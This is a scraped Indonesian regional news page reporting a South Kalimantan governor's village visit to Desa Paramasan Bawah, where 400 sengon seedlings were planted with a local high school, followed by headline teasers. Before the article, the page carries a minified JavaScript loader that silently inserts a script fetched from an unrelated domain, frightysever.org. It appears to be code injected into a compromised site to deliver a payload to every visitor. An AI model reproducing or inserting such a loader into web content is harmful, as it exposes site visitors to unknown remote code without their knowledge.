(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Suasana penuh keakraban mewarnai silaturahmi Gubernur Kalsel H Sahbirin Noor dengan warga yang bermukim di sejumlah desa pelosok. Kegiatan menjemput aspirasi rakyat melalui kegiatan turun ke desa (turdes) ini sudah beberapa kali dilakukan bersama Forum Koordinasi Pimpinan Daerah (Forkopimda) dan instansi terkait di luar kegiatan formalitas pemerintahan.
Kali ini giliran Desa Paramasan Bawah Kecamatan Paramasan yang dikunjungi rombongan Turdes Paman Birin, di desa tersebut rombongan melaksanakan penanaman bibit bersama SMA Negeri 1 Paramasan dan masyarakat desa. Bibit yang ditanam sebanyak 400 bibit dengan jenis sengon.
Dalam sambutannya yang diwakili oleh Kepala Dinas Kehutan DR. Hanif Faisol Nurofiq, S.Hut, MP mengatakan, Revolusi Hijau sebagai garda terdepan harus kita gelorakan untuk kita disini semua sebagai pemulihan lahan kritis dan meningkatkan perekonomian masyarakat.
Sambutan Kadishut selain sebagai membakar semangat masyarakat untuk terus menanam, juga sebagai edukasi bagi masyarakat akan cinta lingkungan bagi siswa dan masyarakat Desa Paramasan Bawah.(rico)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.